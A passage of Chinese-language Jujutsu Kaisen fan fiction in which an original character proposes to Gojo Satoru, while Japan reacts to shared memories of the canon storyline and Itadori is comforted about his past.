“那些都是假的,五条老师没事,还请我们吃早餐呢。我的眼睛也没事,人也醒着,现在很饿,能吃下一万日元一份的烤肉套餐,这些没人比你更清楚了,虎杖。” 虎杖悠仁看轻便利粘贴的字,一种重要的人全遭遇不测离他而去,但醒来后发现是梦的复杂心情笼罩心头。 “什麽啊。”他小声嘟囔,“那些真的是假的吗?” 如果是假的,为什麽他会有这麽强烈的,抑制不住的难过。 事实证明,无论效率多麽低下的社会,举全国之力做一件事,速度都快的惊人。昨晚,加班好几天的虎杖终于有空打开禁言贴,发现所有内容已经梳理完了。 他熬夜看完,又看了好多网友的讨论帖,没绷住,深夜emo了。 [五条悟到底欠他们什麽?还没上场就商量怎麽安排他的尸体,有病吧,这样不会影响他的心态吗?] [对啊,都是最强了,还不加油鼓劲,如果是我上场拼命之前听到这话,我连夜离开日本,管他们死活。] [五条悟自己竟然没在意,我也不明白,他到底欠别人什麽了,这样都不生气。] [一直忍耐不动手的烂橘子,在上场前都被他杀了,不知道为什麽这点让我特别难受。] [怕万一输了,学生们被清算吧,他就没为自己想过一点吗?] [没有吧,不然总监部怎麽敢通缉他?都这麽强了,家世还这麽好,根本不用这麽无私奉献吧?每天兢兢业业睡三个小时,最后还让人欺负到这种地步,我都气笑了。] [我破大防了,前几天他还拍视频安慰我们,不知道他看到这些是什麽心情。] [五条悟现在没事,羂索被神秘人捞走了,咱们脑子里的记忆算什麽,被篡改的现实?羂索其他阴谋?] [别想了,等官方通告吧,这次政。府还算靠谱。] [你说咒术师是不是脑子都有问题,他们到底为什麽要一个个送啊?宿傩其实是累死的吧?] [确实有问题,我怀疑咒术界的人和我们品种不同,要不然那些咒术界出身的咒术师为什麽都这麽冷血,普通人出身的倒还有点人情味。] [到底要怎麽成为咒术师,这麽重要的事怎麽不说?] [这不是政。府想让我们知道的。] [政。府还能怎麽捂嘴,我们脑子里都有记忆啊,有没有人爆料?] [不可能没人说,盲猜屏蔽掉了。] [不行了太荒谬了,我真的又难受又想笑。] [看到五条悟死的那部分,我已经哭了一晚上了,还好不是真的。] [谁说不是呢,画那部分的漫画家老师也说自己边哭边画的。] [老师工伤了。] 陌生人都能哭一晚上,何况是虎杖呢。 他辗转反侧,一夜未眠。漫画里的虎杖和他好像是平行世界的同一人,不同的是,现实中的虎杖悠仁,只是个偶然踏入咒术界的高一学生。 每天上课,做任务,看漫画,和同学出去玩,遇到的最大悲伤是爷爷去世,最大的折磨是咒灵长相太恶心,拥有像普通青少年那样无忧无虑的烦恼,是健康的,幸福的,不会支离破碎,没有负罪感的人生。 “我以后一定要对五条老师特别好。” 虎杖坐在客厅沙发上,少见的神情低落。 “五条老师啊……”钉崎倒是想的开,“他不像在乎这种事的人,否则平时干嘛这麽嬉皮笑脸,直接卖惨不就行了?” “钉崎,我刚才就想问,你没感觉的吗?” 女孩坐在餐桌前,托着腮,别扭地把脸转向别处,“难过……肯定有,但怎 麽说呢,每个人有各自选择的路,我是很赞同认准一条路绝不回头的人生态度。不过,对我们来说,做一个有用的学生就是最大的回报了。再说,他不是有感情很好的男友吗?你想对他好搞不好还排不上队呢。” 是有这种感觉,虎杖想,五条老师用不着别人可怜他选择的路,他是从不自怜自哀的强者。 “还有白川先生呢。”少年露出暖融融的笑,又有气无力地垂下视线,“啊,白川先生……他还会回来吗?” 现在想来,如果不是白川先生杀了宿傩,阻止羂索,事情或许会比漫画里还要糟糕。那次在咖啡馆,危险也是被白川先生轻飘飘阻止了,他们才一直没有这个世界原来这麽恐怖的实感。 “你开什麽玩笑呢?”钉崎的嗓音有种掩饰般的过度开朗,“那两个人,一个天天说自己最强,一个每次都自称卡密,肯定没问题。” 虎杖对自己的过度消沉感到自责,拍了两下脸颊,“好,那我们收拾房间,再出去吃早餐,然后加油做一天任务!” “这样还差不……,诶?!”女孩忽然按住脑袋,一脸兴奋,“又来了,你看到了吗?” “看到什麽?”虎杖一脸茫然。 “看到白川先生了,终于轮到他了。”钉崎拿起手机,又一阵眩晕,“等等,世界…意识?什麽东西?” “诶?你看到了什麽,怎麽回事?” 钉崎挠挠脸颊,一脸迷惑。 “我看到白川先生穿着古代的衣服,先不提这不符合逻辑的画面。什麽旧的世界意识消散,新的世界意识诞生……,啊啊啊奇怪的观点莫名其妙出现在脑子里了!” * 涩谷街头异常繁华,行人川流不息,白川琉世好像记得,这里被誉为“全世界最繁忙的十字路口”。 现世似乎没什麽变化,车辆喧嚣,行人匆匆,店铺照常营业,夹着公文包的人面色疲惫,赶着上班。 只要社畜还在上班,这个世界就没有完蛋。 所有被下过刻印的人都没事,通过刻印,能感受到悟心跳情绪都平稳,咒力无波动。 不过其他人就难说了,命倒是都在,情绪仿佛过山车,连生性开朗的虎杖都emo了好几个度。 心理素质堪忧啊,白川琉世走出小巷,踏入人群,不过就是咒术界暴露了,一个两个的怎麽都…… …… “早上好~,大家吃早饭了吗?” 街头巨大的电子屏忽然一闪,同时,熟悉的嗓音响起。 白发蓝眼的完颜男人没戴眼罩,挥着右手,笑容灿烂的能驱散行人的所有烦恼。 “啊!!!是五条悟!” 街道上的行人被按下暂停键,已经有年轻女孩尖叫了起来,音调高到让白川琉世一阵恍惚。 不,不如说恍惚的原因是忽然出现的恋人的脸。 啊?悟出道做爱豆去了?不就是咒术界暴露了吗,悟的身份这麽好扒?这才几天就……再说,也不至于抛头露面到这种程度。 “大家这麽关心我,我很开~心~哦。”语气黏腻到让人脸红心跳,“显而易见,你们的最强还好好活着。” 视频的拍摄背景是演播室,桌子上放着一个电子表,上面显示日期为2018年7月15日09:28分。 时间是实时的,看来是直播。 “不要为没有发生的事情哭泣。”不过,笑容渐渐消退,平静的面容也非常有魅力,“过度的负面情绪会加重咒灵的产生。为了让五条老师睡个好觉,大家要保持乐观的心情啊。” 双掌合十,那个28岁的男人又刻意撒娇,白川琉世早就知道谁也抵挡不住这点,全日本人都抵挡不住。 “拜、托、了~。” 街道上的喧闹声能掀破天空,身旁的女子高中生猛拍同伴的后背,“不许哭!万一我们害小悟加班,那就搞笑了啊!” 同伴擦擦眼泪,“对,想点高兴的事。就算是为了小悟,负面情绪也全给我滚开!” 话说小悟是什麽称呼啊,白川琉世忍俊不禁,那个人的年龄做你们老师都够了。 怎麽莫名其妙混成女高的团宠了,小悟。 “另外,也不要为了没发生的事滋生怨恨,大家对我的学生意见很大,让我也很难办啊。”五条悟收起了轻浮的撒娇口吻,认真地说,“如果因为怨恨,导致没有发生的悲剧还是发生了,就没有意义了。” 街上一片静默,白川琉世随千万人潮一起,望着那双眼睛,时间仿佛停滞了,所有人都一副认真的样子听五条悟说话。受世间万物钟爱的人,终于被放置到应在的位置,他的表情、态度、话语,终于被无数珍重承接。 白川琉世的第一反应,竟然不是理解五条悟话里的信息量,而是为这种局面感到快乐。 “至于今早有些人多出来的记忆,大家早晚会猜到,那天超像反派的家夥就是他,白川琉世。” 啊?白川琉世脚底生根,大脑一片空白。 什麽记忆? 为什麽忽然点名他? “这麽多人都看到了,与其大家乱猜,不如说清楚情况。总监部那群人一点也不敢拿主意,怕被琉世修理。嘁,这种不敢担责的做法还是很烂吧?” 他旁若无人地在全日本人能看到的直播里吐槽总监部。 “等他回来,肯定会不讲道理地把自己的事压下去,只有我被迫出道,他做缩头乌龟怎麽行?” 白川琉世与他对视,恋人无知无觉,骄傲地微仰着头,眼中依旧神采飞扬。 “如你们所见,白川琉世救了所有人。” 这句话随着网络传遍了日本几乎每个人耳中,当事人迟钝地眨了几下眼,直到电子屏一闪,娱乐广告重新播放,才从恋人无理取闹的宣言中回过神来。 [好了,悟,知道你很在意我的付出有没有被看到,但这样太超过了吧。] “原来还真是这样啊,有点出乎意料。” 旁边的女高与同伴窃窃私语。 “好讨厌,我没有觉醒记忆。”同伴说。 “这次可能也是分阶段觉醒,你等等好了。” “但是没想到是这样的走向,按剧情逻辑,冒出来的肯定是反派啊,然后主角们再想办法打败他。” “政府不是早就官宣他是正方了嘛。” “这谁信哇!” 真抱歉啊,漫画搞点波折还能增加热度,现实中来一下你们受得了吗,光是死灭回游都要把日本搞沉了。 “不过,那个什麽世界意识是怎麽回事,我没有觉醒记忆,你快给我解释一下嘛。” “嘛……,我也很奇怪,今早和记忆一起跑到我脑子里,大概就是,小悟被杀那个第一次记忆是这个世界原本要发生的事,被彻底改变了,新的意识就产生了。很强硬呢这个观点,莫名其妙就灌进我的脑子里了。” “什麽嘛,我只能看论坛了解了,你运气真好。”?! 白川琉世匆忙离开,一走到没人的地方就撕开裂缝踏了进去。 他大概明白这几天现世发生什麽了。 来得及,社死程度还来得及补救。【你现在阅读的是 】 80-86 第81章 花扎·樱·月·求婚 日本人不会等来下一批记忆觉醒者了。 旧世界意识崩裂,附带效果竟然是意识碎片随机进入全部日本人的脑海,这种阴间意识死了之后还能搞出这麽阴间的局面,属实让人意想不到。 他观测世界意识的这几天,现世不仅因为咒术界的暴露,更因为那些莫名其妙的记忆而乱成一锅粥。 新的世界意识被他灌注进去,是以白川琉世本人的经历为蓝本生成的意识。说的中二一点,如果新的世界意识是本漫画,那他就变成了主角。 但是漫画主角并不想不破次元壁地被围观啊,白川琉世气笑了,这个世界没遇到过这样的bug,怎麽故障到连初始设置都偷跑给npc了。 他火急火燎又回到黄泉津比良坂,探查已经暴露的到底是哪些内容,和新意识拉扯,以“实在不行我以灵魂起誓咱俩一块GG”威胁,让世界意识本能地老实了下来。 离谱,什麽烂世界! * 正值正午,日头热的快要让人融化,紫藤花屋通上了电,但没装空调,只有一架旧风扇吃力地运转着。 最大的一间活动室里,室内铺着地板,空荡荡的,没什麽家具,是白川琉世从小练功的地方。中间地板上,散落着一堆有些褪色的花札。 一只手捡起场中亮出的酒牌,放在自己光洁的大腿上。 “……” 白川琉世坐在地板上,一手拿着手机打字,一手拿着月牌,刚要心不在焉地把月牌贴到酒牌上带走,抬眼就看到酒牌跑到了令人羡慕的地方。 “月见酒。”他毫不犹豫伸手去拿酒牌。 这套牌是大正年间鬼杀队的人留下的,纯手绘,风格绮丽古朴,只是难免磨损褪色了。五条悟说自己家现在都没有保存这麽久的花札了。 “好热好热。”一只微凉的手柄白川琉世的手按在自己腿上,一边大声抱怨。 “那还真对不起啊。”白川琉世为对方的厚颜无耻感到震惊,“这麽迫不及待吗,悟?” “你在说什麽啊,今天热得要死。”五条悟在地板上滚落一圈,正好移动到白川琉世腿边,脸颊压着一堆花扎,白色的发丝散乱在古旧的红、青、褐上,是色彩对比强烈到有点鬼魅的美丽。 白川琉世把手机放下,双手抚上他的脸。 “我提前回来了,有没有奖励?” “留下来一堆烂摊子,没有。”苍蓝的眼睛眨了眨,说出了拒绝的话,但语调甜蜜的像勾子。 “你才是时间停止十年的那个人吧,这张脸和以前相比没多少变化,怪不得变成全日本人民的团宠了,小悟。”滚烫的手摩擦着细腻的肌肤,甚至覆上了珍贵的六眼。 五条悟没有躲闪,顺势闭上眼睛,睫毛颤抖。琉世的体温一直很烫,手心更是滚烫,透过眼睑,传导至他的眼睛上。 “为什麽穿的越少越热,你给衣服加附魔了?” “……”白川琉世吞咽了一下,“可能是你没穿习惯。” 五条悟穿的是他的衣服。 白T和黑色运动短裤,典型青少年的风格,悟本身就长得年轻,穿在身上没有一点违和感。 谁能想到有人从出生到28岁没穿过短袖和短裤,就算是封建家族的少爷,也不是真的从封建社会长大的,从小到大不是穿和服,就是长袖长裤,家里管那麽严吗? 又不是女孩子,不过,那种衬衫透一点都穿里衬的风格,比女孩子还保守。 白川琉世的目光落在那双长腿上,腿型无可指摘的漂亮,放松的时候隐隐有肌肉的轮廓,颜色处于冷白与暖白之间,是种莹润的清白。 现在才发现恋人以前是走禁欲风的,被性格误导了。 “有的人口水都要留下来了。” “离谱,你现在可是闭着眼睛呢!” 可能真的怕热,五条悟又翻到另一边去了,他们在这儿碰头,交流这几天的消息。 羂索不用多说,被他干脆捏爆了。盘星教的人被丢到了警局,后面的事不用他操心。天元想开了,主动进入轮回,临死前在白川琉世的帮助下做了件好事。 以主动放弃生命为代价,把“不死”术式剥离出来。 科咒部研发的结界设备,已证实了实用性,通过加持“不死”术式,应当能做到永久性代替天元的作用。 这几天咒术界反应的也算可以,他打开工作群,发了条消息。 [三天后,部长及以上人员来我办公室做此次事件的述职报告。] 橘子们纷纷“收到”,一些人在私聊里发了些欢迎回来的客套话,白川琉世点开七海的聊天框,曾经的前辈现在的下属公事公办地发来一句话。 [七海:今早的事,我建议五条等你回来再做决定,但被五条拒绝了。] [白川:没关系,那是悟的心意。] [白川:我知道暴露的是哪些部分,无伤大雅,像上次那样处理就行。] 因为处理的早,这次觉醒记忆的人不算太多,主线意识只来得及逸散了一部分,大多是影响程度大的事件,集中在他杀死宿傩和羂索上,别的近乎没有。 “今天不想上班,我看总监部没有我也挺好的。” 五条悟嗤笑一声,“你再晚回来一天,娜娜米就要因为压力过大胃穿孔了。” “这我不得不说了,其他人的抗压能力是不是太差了?”不知道想到了什麽,白川琉世犹豫了一下,“啊,…也难说,毕竟都成公众人物了,多少得遭点网暴。” 今早的事太突然,舆论没有被马上控制,白川琉世回来后也持放任态度,因此第二次记忆的梳理贴由民间自发地创建起来了。等民众梳理完得有几天时间,他也还没点进去看。 他刚刚看了会论坛,日本人民很快就理解了世界意识这回事,以及第一次记忆是本该发生的事情,第二次记忆是被改变的现实。这下可炸锅了,因为第一次记忆太过阴间离谱,而且差点把日本整完蛋,互联网掀起了大型骂战。 怪不得早上悟公开露面,让大家不要网暴他的学生,看来挨了不少骂。 骂谁的都有,唯独没看到骂五条悟的。或许也有,毕竟不能否认人类物种的多样性,但大致看过去,主流观点都是簇拥。 还有过激人士现在不知道总监部已经被整肃一新…… “啊?大家为了你要炸掉总监部呢,五条大人,快想想办法吧。” “那种烂地方炸掉不挺好的?”五条悟看热闹不嫌事大,“以防你这个最大的橘子变烂。” “心碎了。” 白川琉世捡起三月的樱牌和八月的月牌,放在躺着的五条悟脸上。恋人没有开无下限,掌心大小的月牌贴在额上,牌中圆月高挂,搭在上面的额发恰如其分,是清冷柔和的月光。 花牌遮住了口鼻。樱花的深粉被时光冲刷成柔和的淡绯色,呼吸间,纸页微微起伏,花瓣的图案在唇间颤动。 那是白川琉世从小最喜欢的两张牌。 “干什麽。”樱花纸牌被殷红的舌尖顶起一角,五条悟的嗓音含糊不清,“痒。” “……”白川琉世沉默几秒,伸出手停在半空。 “悟,打开无下限吧。” “为什麽?要和我单挑?”说话间,花瓣从唇间滑落,那片诱人的淡绯无知无觉地抱怨着,“这麽过分一定要发社交平台,我现在身价很高,想办法应付我无穷无尽的后援团吧。” “你在想什麽啊。”白川琉世拿走月牌,笑容明朗、温暖,“我只是非常想拥抱你,非常想。你不是怕热吗?打开无下限的话……” 话音未落,一阵冲击力把他掀翻在地,两人在几十张松鹤梅莺、蝴蝶花幕、青短赤短、色彩斑驳浓郁的花札上滚作一团。 门因为震动,吱呀一声自己开了,门外是紫藤花屋的庭院,阳光灿灿,花草丰茂。蝉鸣声更盛,一声长一声短,和着热风浸染室内,空气粘稠到一点就燃。 悟的表情,那种高傲不可一世的样子,极少在他面前展露,但白川琉世非常喜欢。 正如此时,压在他身上,双手卡着他肩膀,呼吸急促,苍蓝眼眸像刚刚水洗过一样,因为激动的情绪生动的惊人。 “长本事了,钓不动你了?这麽装模作样。” “暴露本性了?”手臂自然地环上恋人的腰,“向我讨饶,然后说琉世大人今天请疼爱我吧,我就当做没有发现你的恋爱心计。” “哈。”五条悟不怒反笑,手往下伸,“这麽游刃有余啊,那是谁硌到我了。” 白川琉世:…… 好吧,白川琉世减一分。 两具身体紧贴着,散发的热度滚烫的惊人,悟的体温是正常的,是他太高了,手掌从衣服下摆伸进去,按在腰侧,那里也和其他地方一样,白皙的惊人。 白川琉世稍稍用力,第一反应不是会按出红印,而是觉得微凉如雪的肌肤会不会因为他滚烫的指尖,消融出一个小坑。 “我刚刚是真的担心你热。”他拿出杀手锏——实话实话。” “那就让我更热。”恋人嗓音喑哑,是情。欲积攒到顶峰的黏腻,“比你还热,不就行了?” * 下午下了场小雨,傍晚才停,雨水把庭院中的树木花草整理的崭新亮眼,气温也降了下来。 天快暗下来时,白川琉世做了晚饭,刚刚认识时就说过要悟尝尝他做的饭,现在终于兑现了。 洗澡,采买食材,做饭,用了不少功夫,期间五条悟一会要喝可乐,一会要吃喜久福,白川琉世也都一一去买了,他赶路超快,倒是省了很多功夫。 并不嫌麻烦,因为悟是亲热后特别喜欢支使男友的那类,大概算事后感情升温的play? 晚饭后,白川琉世去收拾残局,心情复杂地看着地板上的花札,好多都被沾湿弄脏了,他默哀了一会,把它们捡起扔进水盆里,希望洗过后还能看清原来的牌面。 五条悟坐在庭院里的桌子前,洗过澡后,又换了一身白川琉世的短袖短裤,现在看起来倒是穿习惯了,长手长脚在薄暮的夜色中白到发光,细软的白发刚刚晾干,清爽地垂在脸侧。 桌上的碗筷刚被收走,甜点的包装盒就放上去了。刚吃完晚饭,悟正拿着饭后甜点喜久福吃着,一口一口,发出可爱的啊呜声。 “五条大爷,小悟,你现在活动量比以前少多了,再这麽吃腹肌会消失的。” “我在合理补充消耗,刚才的活动量不算运动吗?” 真是理直气壮,又让人心口发烫的强词夺理。 白川琉世把衬衫袖子卷到手肘处,洗干净手,转身看向五条悟。雨后的夏日傍晚清凉宜人,熏风携着庭院中盛开的花木香拂过他的指尖,拂过爱人的脸颊,时间依旧在走,但仿佛静止了。 嗯,是这样的啊。 在这一刻他忽然发现,这是希望时间永远停留在此时的幸福一刻。 非常恰到好处的一刻。 “悟,来这边一下。” 五条悟刚好吃完东西,嘴角沾了一点喜久福的内陷,不知道琉世神神叨叨在干什麽,走到了庭院里的一棵木槿树下。 这座庭院超过十年没人打理了,植物生长到有些野性难驯。他伸手拨弄下盛开的木槿花,“干嘛啊,琉世。” “你吃东西喜欢沾嘴角吗?”和他准备告白时一个样子。白川琉世伸出拇指,把五条悟嘴角的生奶油渍擦掉。 五条悟静默不语,抱怨的玩笑话被咽了下去。琉世的态度太过珍重,直直地、坚定地站在那,这种严肃的氛围,一个词自然浮现出来。 [你要向我求婚吗,琉世?] 他可不是第一次接受告白的笨蛋了,不会主动说出来。 否则琉世的超绝小心眼一发作,搞不好一发癫,这次拉他去海底。 嗯?去海底也不错啊。 一个蓝色丝绒小盒从口袋被掏了出来,白川琉世一按机扣,盒子弹起,两尾蓝宝石戒指呈现,在微暗的夜色中闪着静谧华美的光芒。 “我们结婚吧,悟。”他把戒盒向前一递,脸上扬起如少年时一般的灿烂笑容。 “你告白和求婚前喜欢失踪吗?” “我那算出差,提前向你报备过了。哎呀,这种时候真的要为难我吗?” “当然了,都说过了要狠狠为难你。”五条悟不为所动,微扬着头,盛气淩人地说,“跪下。” “诶?”白川琉世笑容一僵,愣住。 “诶什麽,求婚难道不应该下跪吗?五条大人一生仅此一次的求婚仪式,竟然这麽草率,真是以后想想都遗憾到不行的场面啊。” 白川琉世火速单膝跪地,稳稳高举戒盒。 “还有鲜花呢?没有花怎麽行?现在五条大人要把鲜花狠狠砸在追求者的脸上,是该让你在爱情之路上吃点苦头了,琉世。” 庭院的风似乎变快了,草叶哗哗作响,一簇簇黑线游蛇般快速略过灌木丛,风卷残云,把木槿花、波斯菊、矮牵牛掠夺一通,马上,粉红、淡紫、洁白的花朵被黑线紧紧缠绕成一束,高举到五条悟面前。 五条悟绷紧嘴角,“……你是抖M吗?” “说什麽呢悟,你听过一句话吗?” “嗯?” “被美人扇一巴掌,比疼痛更先感受到的是香风,更别说是被花朵砸这种温柔又浪漫的淩辱了。” “你学坏了。”五条悟冷漠地说,“那我就成全——。” 白川琉世闭上眼睛,想像中扑头盖脸的花朵没有落下,他疑惑了一下,睁开眼睛,一只手,左手,手心朝下,指甲泛着健康的粉色,静静伸到他面前,正在戒盒的旁边。 “以防你不知道,要戴无名指哦。” 五条悟右手抱着花束,左手伸出,强忍的笑意全都爆发出来,眼中盛满潋滟的,温柔的光。 “这种常识我还是知道的。”白川琉世嘴角也根本压不住,笑出一排洁白的牙齿。他低头拿出戒指,先给五条悟戴上,另一只自己拿出来戴上。那段光华流转的蓝,严丝合缝环在了两人无名指上。 “挺贵吧,你也学会藏私房钱了?”五条悟高举左手,微眯双眸,欣赏着自己的结婚戒指。 “是啊,私房钱全都贡献给你了。” “戴上正好,哈,连我手指的尺寸你也偷偷量过了。” “这说的什麽话,你身体哪个部位的尺寸我还不知道?” 第82章 鬼火开进岳父家 咒术界正在度过有史以来最繁忙的夏忙期。 家入硝子搬回了高专,她的治疗室中,那些白川琉世总觉得像停尸用的金属床,真的放上了一具尸体。 “我先回避了。”家入没找任何借口,直接带上门离开,很有她一贯的风格。 床上是一个女人,身穿白袍,紧闭双眼,虎杖愣了一下,忽然意识到了这是谁。 “没事,羂索被我杀死了。”白川琉世站在他身旁,“这是你妈妈的身体吧,需要我也回避吗?” 虎杖连连摇头。 香织的身体历经磨难,因为取出羂索,本身被医美和化妆掩盖的缝合线,又出现在额头。五官因为整容,早已不是虎杖记忆里照片中的样子,一头短发也被特意接成了长发。 真正的妈妈在他出生前就死去了,把他生出来的人,竟然是羂索。无论过去了几天,虎杖都难以消化这种事。 就连他本身的存在,也完全是被设计出来的。 “你最近心情很低落,虎杖。” 白川琉世按着他的肩膀,把人掰过来,和自己面对面,有点半强迫性质的和他对视。 虎杖眨眨眼,他比白川琉世矮大约20厘米,距离这麽近,只能吃力地抬起头,看向那双金色的眼睛。 “你是想安慰我吗?白川先生,我没事。”虎杖大大咧咧笑着,心中有些诧异,虽然知道白川先生是好人,但总觉得他不是会直接安慰别人的人。 “如果你不是咒术师,你的负面情绪都能生成一个特级咒灵了。”然而关于情绪的一切都瞒不过白川琉世,“说起来,你的出生也有我设计的结果,如果不是我放任……” “没有的事!”虎杖垂下的眼眸,又激动地抬上去,“我知道你有苦衷,别这麽想白川先生,我一点都没有介意!” 几天后,第二次记忆在J-talk被梳理清楚,只是缺乏后续觉醒记忆的人,导致众人拼凑的故事残缺不全。 然而,这次故事的主人公,比第一次记忆里近乎群像的现象好判断多了。白川琉世,在第一次记忆里莫名隐身的家夥,宛如劈开次元壁创造出来的同人角色,将一切悲剧扼死在摇篮。 他到底是什麽人,是在#五条悟#后又一个大热门词汇。 “开个玩笑。虎杖啊,你是不是知道那些是真的后,被吓到了?” 虎杖悠仁无法否认。 如同15号之前的全部日本人一样,虎杖只把那些当成虚假的、猎奇的、莫名其妙的记忆,15号后,世界意识这个概念被无数人证实,他不得不正视一件事。 被宿傩受肉,用这个躯体害死数以千计的普通人,是他本来的人生。 仅仅以为是假的,都足够让他痛苦了,更别说…… “那些事不会发生了。”白川先生的手干燥而温暖,轻轻拍了拍他的脸颊,“就当做了一场噩梦。” 虎杖悠仁的人生一片坦荡,在高专毕业后,可能会上大学,参加几个运动社团,听说最近排球非常火,网球也文艺复兴了,他这麽好的体能,一定会大放异彩,等以后,不管做咒术师还是从事普通工作,都是很好的选择,还会遇到喜欢的人互相支持,永远不会在午夜梦回被愧疚淹没,是能看得见的温暖幸福的人生。 伏黑不会杀死姐姐,钉崎的眼睛也没事,吉野正为了成为辅助监督而努力,乙骨也不用小小年纪背负那麽大的责任。不仅如此,还有很多人获得了另一种更好的人生。 让他们知道这一切也好,白川琉世想,有益于珍惜现在。 气氛到了,虎杖悠仁哽咽起来,一开始有点不好意思,但他一向是喜欢肢体接触的孩子,竟然双手一伸,揽住白川琉世的脖颈,挂在上面痛快哭了起来。 衣服前襟湿透了,这种小动物主动钻进怀里委屈的场景竟然如此令人心软,白川琉世拍着虎杖的后背,笑声和胸腔的震动一起传达给虎杖。 “没关系,悠仁,我不会告诉悟你偷偷哭鼻子的。” “谢谢你,白川先生。” “别客气,举手之劳。” 虎杖擦擦眼泪,不好意思地松开手,他踌躇一下,“你做了那麽多,如果不是这次事件,大家永远都不会知道,为什麽不说呢?” “嗯?想做就做了,别人知不知道有什麽关系。”白川琉世心态稳定,甚至这几天忙于事务,没点开扒自己的讨论帖。 “不讨厌大家吗?”沉默了一会,虎杖低声地问,“就像网上说的一样,我们是一群白眼狼,一点也不关心五条老师。” “是啊,差点忘了,天生邪恶的高专小鬼们,我这就亲手柄你……” “诶?”虎杖思绪卡住,变成豆豆眼。 “哈哈哈哈。”直到白川琉世大笑出声,虎杖才放松下来,什麽嘛,竟然在这时候开玩笑。 “我刚刚超紧张的!” “紧张什麽,不会觉得我真要杀了你吧?” “如果是为了五条老师的话……” “你在想什麽啊?” 白川琉世拍着虎杖的背,他年龄只比虎杖大三四岁,笑起来消减了气质带来的距离感,“无所谓,他每个学生的性格,悟之前也都清楚。” 这话却并不轻松,虎杖随着白川琉世一起展开的笑颜,又沉了下去。 “宿傩、羂索、夏油,他们在你眼里是什麽人呢,悠仁?” “天灾,和想要毁灭世界的人。” “还有呢?” “啊!”虎杖心念一闪,“他们也是伤害五条老师的人。” “没错,不解决他们世界就要毁灭,他们才算是必须要搞定的麻烦。除此之外,如果每个欺负你五条老师的人,我都要杀掉的话,很快他周围大部分人都会死掉。” 太残忍,也是太血淋淋的真相了。 虎杖悠仁是难得的善良且同理心强的人,本能地反思其中的意思,“但是,就算没有对五条老师造成宿傩他们那样的伤害,仅仅因为‘伤害的程度没那麽重’就能当做无事发生吗?” “怎麽会,伤害就是伤害,只不过悟并不把这些放在心上。”白川琉世与虎杖对视,“我得尊重他的意愿。” 自顾自觉得自己天上天下、唯我独尊,把认为伤害悟的人修理一顿,把手伸到所爱之人的人际关系中,真的是好事吗? 更何况,很多伤害的界定微妙难懂,不理解的伤害算是什麽程度?这些更是掰扯不清。 比起粗暴浅显的手段,他可以做的更好。 反正咒术界正按照他们的预想改变着,直接把悟通过教育曲线救国的路堵死了,再做教师好像也没什麽必要,怎麽不算一种釜底抽薪呢? 就算以后继续做教师,也不会对学生报以“追上脚步的同伴”这种期待。 如果不做教师,以后悟喜欢的乖巧孩子还可以联系,合不来的肯定慢慢疏远了,总监部那里已经变成他的快乐老家,也不用担心。 羂索搞出来的乱子,阴差阳错令一切大白于天下,众人的凝视已经是最好的审判,根本不用他再做什麽了。 这是最坏的情况。 但这个阴间世界已经被彻底改变了,大家会有余裕对别人多一点关心,会吗? 当然了。 所以说,干嘛把冲突拎到悟眼前?既不和谐、也不环保,多少沾点自我感动,把环境在无知无觉的情况下,改造成最令悟幸福的样子,才是成熟男人应该做的。 虎杖 眨眨眼,理解了他的意思。 “分寸?” “对,分寸。” “你这种默默付出的男二性格,是怎麽追到五条老师的?” “我也会打直球好不好。”白川琉世晃着自己的左手,戒指在上面流淌过低调的光芒,“看,结婚戒指~。” 虎杖破涕为笑,送上迟来的祝福。白川琉世和他商量了虎杖香织的身体怎麽处理,然后揽着虎杖的肩膀,向门外走去。 “一会打小钢珠去吧,说起来我也好久没玩过了。” “啊?我是未成年人啊,白川先生。” “柏青哥而已,紧张什麽。我知道你感兴趣,不是被日车审了吗?” “我那是去借卫生间……好吧,偶尔也想进去试试看啦。” * 京都郊区的山上,坐落着一大片古建筑群,正是咒术界声名显赫的五条家。 五条枫穿着轻便的粉色浴衣,指挥其他侍女把五条悟的院子整个打扫一遍。今天,叛逆的五条家家主好不容易要回家一趟——带着“丈夫”回来。 她打开社交平台,五条悟前几天在好友圈发了一张照片,是两只贴近的手,更白皙一点的那个明显是账号主人的,两只手的无名指上都戴着超闪耀的蓝宝石戒指,她隔图品鉴了半天,猜测定做出来怎麽也要花3亿日元。 图片下面配文。 [结婚了哦~] 什麽嘛,两个男人又领不了证,自顾自宣称结婚,还真有悟大人个人主义的风格。 那位丈夫是谁大家心知肚明,枫一开始和大部分五条家成员一样,对这段恋情持担忧态度,按照彻大人的说法,那个人心思深沉,手段残暴,完全抱着颠覆整个御三家的目的接近悟大人,他们要坚决地、严厉地把鬼迷心窍的悟大人拉回正途。 但最近出的那件事,令五条家的态度变得复杂。 哎,他们这些人暂且不说,彻大人和看着悟大人长大的和枝姑姑,这几天像苍老了十岁。 简直荒谬!他们五条家全家捧着长大的六眼,虽然任性了点顽劣了点,但本性超级善良,会在小时候就发脾气废除女孩子必须走在男人身后的规则,明明一根手指头就能把整个咒术界碾碎,但按照彻大人的说法,出去上学把心上野了,开始一心一意贯彻不接地气的理想。 当然,他是五条家的六眼,生来就与所有人不同,谁能断定他做不到自己想做的事呢?反正枫觉得,这种纯粹正义的理想,反而是悟大人极其可爱的地方。 那些记忆的出现,在五条家掀起了八级大地震,他们家主被骂人渣,被关,被通缉,主动顶上战斗还得不到一点支持,被杀,死了之后身体还被拿出去二次利用,用完尸体都没个交代,最后连五条家都让不知道哪里来的人继承了。 知道在外面被欺负,没想到是这种敲骨吸髓的冷血欺辱。 …拳头硬了。 彻大人最近每天都去黄泉津御命的神社参拜,出来神社就骂,从宿傩骂到羂索,从总监部骂到咒高,还有他那个“不争气”的儿子。不过,和悟大人打电话的时候,反而态度柔和了下来,不再和儿子吵架,不说嘘寒问暖,也算百依百顺。 大抵实在是心疼,到底是自己唯一的、珍爱的孩子。 不仅如此,彻大人提出让悟大人从咒高辞职,要求解除伏黑惠的抚养权。 这点枫和所有五条家人都是支持的,不是贬低悟大人,但是他教了这麽多年,也没教出什麽花来,还倒贴了很多钱和感情。还有那个禅院家的少爷,没强求他把悟大人放在首位,但满脑子都是姐姐,战斗的时候一点也没对悟大人的安危和处境表示担忧,像什麽话啊,铁石心肠吗? …… 五条枫检查了一遍室内和庭院里的卫生,满意地点点头,和小姐妹们在庭院的树荫里喝冷饮。 五条家的规矩比御三家另两家散漫的多,这些女孩说是侍女,其实更像打扫完卫生就撒手没的钟点工。 侍女们聚在一起没有不谈八卦的,现在,八卦的中心则是即将到来的白川琉世aka黄泉津御命。 “他真的是咱们家祭拜的那个啊。” “怎麽不是呢?证据确凿了吧。” “是本人,还是觉醒了能力的转世呢?” 